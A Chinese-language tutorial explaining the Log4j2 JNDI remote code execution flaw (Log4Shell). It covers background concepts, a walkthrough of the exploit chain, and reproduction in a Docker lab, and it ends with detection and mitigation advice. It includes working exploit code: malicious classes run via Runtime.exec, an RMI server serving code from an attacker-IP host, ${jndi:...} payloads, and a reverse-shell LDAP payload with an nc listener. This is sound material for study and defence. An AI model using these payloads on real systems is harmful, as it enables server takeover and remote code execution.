Apache Log4j2 远程代码执行漏洞全解析
一、漏洞概述
1. 漏洞原理
Apache Log4j2 是 Java 生态中广泛使用的日志框架,其
Lookup
功能存在致命缺陷:未限制 JNDI(Java 命名和目录接口)查询。攻击者可在日志消息中插入恶意 JNDI 表达式(如${jndi:rmi://恶意服务器/恶意类}
),触发 Log4j2 加载远程恶意.class
文件,最终实现远程代码执行。2. 影响范围
- 覆盖超 6 万个开源软件及 32 万个相关版本包,几乎席卷整个 Java 生态(如电商平台、分布式系统、中间件等);
- 利用成本极低,仅需构造含恶意 Payload 的输入(如 URL 参数、表单数据)即可触发,危害极大。
二、Java 日志体系与核心概念
1. 日志框架发展历程
- JCL(Jakarta Commons Logging):提供抽象层,动态绑定日志实现(如 log4j、JUL);
- Slf4j(2006 年):需桥接包绑定实现,配套 Logback 作为默认实现;
- Log4j2(2014 年):Apache 推出,不兼容旧版 log4j,借鉴 Slf4j+Logback 设计,成为主流日志工具(也是本次漏洞主角)。
2. JNDI 基础
- 定义:JNDI(Java Naming and Directory Interface)是一组接口,用于查找远程或本地对象,提供命名服务(对象与名称绑定)和目录服务(管理对象属性)。
- 支持服务:可访问 JDBC、LDAP、RMI、DNS 等,漏洞利用中主要涉及RMI(远程方法调用)和LDAP(轻型目录访问协议)。
3. RMI 基础
- 定义:RMI(远程方法调用)允许不同 Java 虚拟机之间远程调用方法,通过序列化传输对象。
- 核心组件:
- Client(客户端):请求远程方法;
- Registry(注册中心):存储远程对象的注册和查找服务(默认端口 1099);
- Server(服务端):提供远程方法,在 Registry 中注册对象。
- URL 格式:
rmi://host:port/name
(host 为注册中心主机,name 为远程对象标识符)。
三、JNDI 注入攻击原理
1. 核心机制
当 JNDI 的
lookup()
方法参数可控时,攻击者可传入恶意 URL,诱导目标加载远程恶意类。通过Reference
类解决 “目标缺少恶意类” 的问题,使目标从指定地址下载并执行恶意代码。2. 攻击流程
- 目标程序调用
lookup(String)
且参数可控,攻击者传入指向恶意 RMI/LDAP 服务器的 URL; - 恶意服务器返回含
Reference
对象的 JNDI 引用(包含恶意类的加载地址); - 目标解析
Reference
,获取恶意类的 HTTP 地址; - 目标远程加载恶意类的
.class
字节码并实例化,执行代码(如反弹 shell、文件操作)。
3. RMI-JNDI 注入示例
步骤 1:编写恶意类
import java.io.IOException;
public class Test {
public Test() throws IOException {
// 实例化时执行命令(创建文件夹)
Runtime.getRuntime().exec("mkdir jndi_inject");
}
}
步骤 2:编译并部署
- 编译:
javac Test.java
生成Test.class
; - 启动 HTTP 服务:
python3 -m http.server 8080
(将Test.class
放在当前目录)。
步骤 3:搭建恶意 RMI 服务
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
// 启动RMI注册中心(端口1099)
Registry registry = LocateRegistry.createRegistry(1099);
// 绑定恶意类引用(指向HTTP服务中的Test.class)
Reference ref = new Reference("Test", "Test", "http://攻击者IP:8080/");
registry.bind("test", new ReferenceWrapper(ref));
}
}
步骤 4:触发注入
目标程序调用
lookup
时传入恶意 RMI 地址,即可加载并执行Test.class
:import javax.naming.InitialContext;
public class Target {
public static void main(String[] args) throws Exception {
// 触发JNDI查询(参数可控时被攻击)
new InitialContext().lookup("rmi://攻击者IP:1099/test");
}
}
四、Log4j2 漏洞攻击链详解
- 输入注入:攻击者发送含恶意 JNDI 表达式的请求(如
${jndi:rmi://攻击者IP:1099/test}
),被目标 Java 应用接收并记录到日志; - 日志解析:Log4j2 检测到日志中的
${}
格式,触发Lookup
机制解析内容; - JNDI 调用:解析到
jndi:
协议后,调用JndiLookup.lookup()
方法,进一步触发InitialContext.lookup()
; - 远程加载:目标连接恶意 RMI/LDAP 服务器,获取恶意类引用;
- 代码执行:目标加载并实例化恶意类,执行内置命令(如反弹 shell)。
五、漏洞复现(以 2.14.0 版本为例)
1. 环境准备
- JDK:8u121(低版本对 JNDI 限制较弱);
- 依赖:引入 Log4j2 2.14.0 版本(漏洞版本):
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency>
2. 漏洞利用步骤
步骤 1:编写恶意类(弹出计算器)
import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
Runtime.getRuntime().exec("calc"); // Windows弹出计算器
}
}
步骤 2:启动恶意服务
- 编译
Exploit.java
并通过 HTTP 服务暴露(python -m http.server 8080
); - 启动 RMI 服务绑定恶意类:
Registry registry = LocateRegistry.createRegistry(1099); Reference ref = new Reference("Exploit", "Exploit", "http://攻击者IP:8080/"); registry.bind("exp", new ReferenceWrapper(ref));
步骤 3:触发日志解析
目标程序记录含恶意表达式的日志,触发漏洞:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LogTest {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// 恶意输入(模拟攻击者传入的参数)
String input = "${jndi:rmi://攻击者IP:1099/exp}";
logger.info("用户输入: {}", input); // 日志记录时触发解析
}
}
步骤 4:结果验证
目标服务器弹出计算器,证明远程代码执行成功。
六、实战利用(Docker 靶场)
- 启动环境:
cd vulhub-master/log4j/CVE-2021-44228 docker-compose up -d
- 漏洞验证:
访问http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://dnslog地址}
,查看 DNSLog 平台是否有解析记录(确认目标触发 JNDI 查询)。 - 反弹 shell:
- 启动 JNDI 工具:
java -jar JNDIExploit.jar -i 攻击者IP
; - 构造 Payload:
http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://攻击者IP:1389/Basic/ReverseShell/攻击者IP/端口}
; - 攻击机监听端口:
nc -lvvp 端口
,接收靶机反弹的 shell。
- 启动 JNDI 工具:
七、漏洞识别方法
- 表达式测试:向目标输入
${java:os}
(如 URL 参数),若日志中输出操作系统信息,说明Lookup
功能已触发; - DNSLog 检测:发送
${jndi:ldap://xxxx.dnslog.cn}
,若 DNSLog 有解析记录,表明目标存在 JNDI 查询行为; - 版本核查:若目标使用 Log4j2 ≤2.14.1 版本,存在漏洞风险。
八、防御建议
- 版本升级:升级至 Log4j2 2.15.0+(2.15.0 禁用 JNDI 动态加载,2.16.0 移除 JNDI 功能);
- 临时配置:设置系统属性
log4j2.formatMsgNoLookups=true
,禁用Lookup
功能; - JDK 限制:使用 JDK 8u121+,设置
com.sun.jndi.rmi.object.trustURLCodebase=false
禁止远程类加载; - 输入过滤:通过 WAF 拦截含
${jndi:
、rmi://
、ldap://
等特征的请求; - 安全审计:监控日志中的异常 JNDI 调用,及时发现攻击。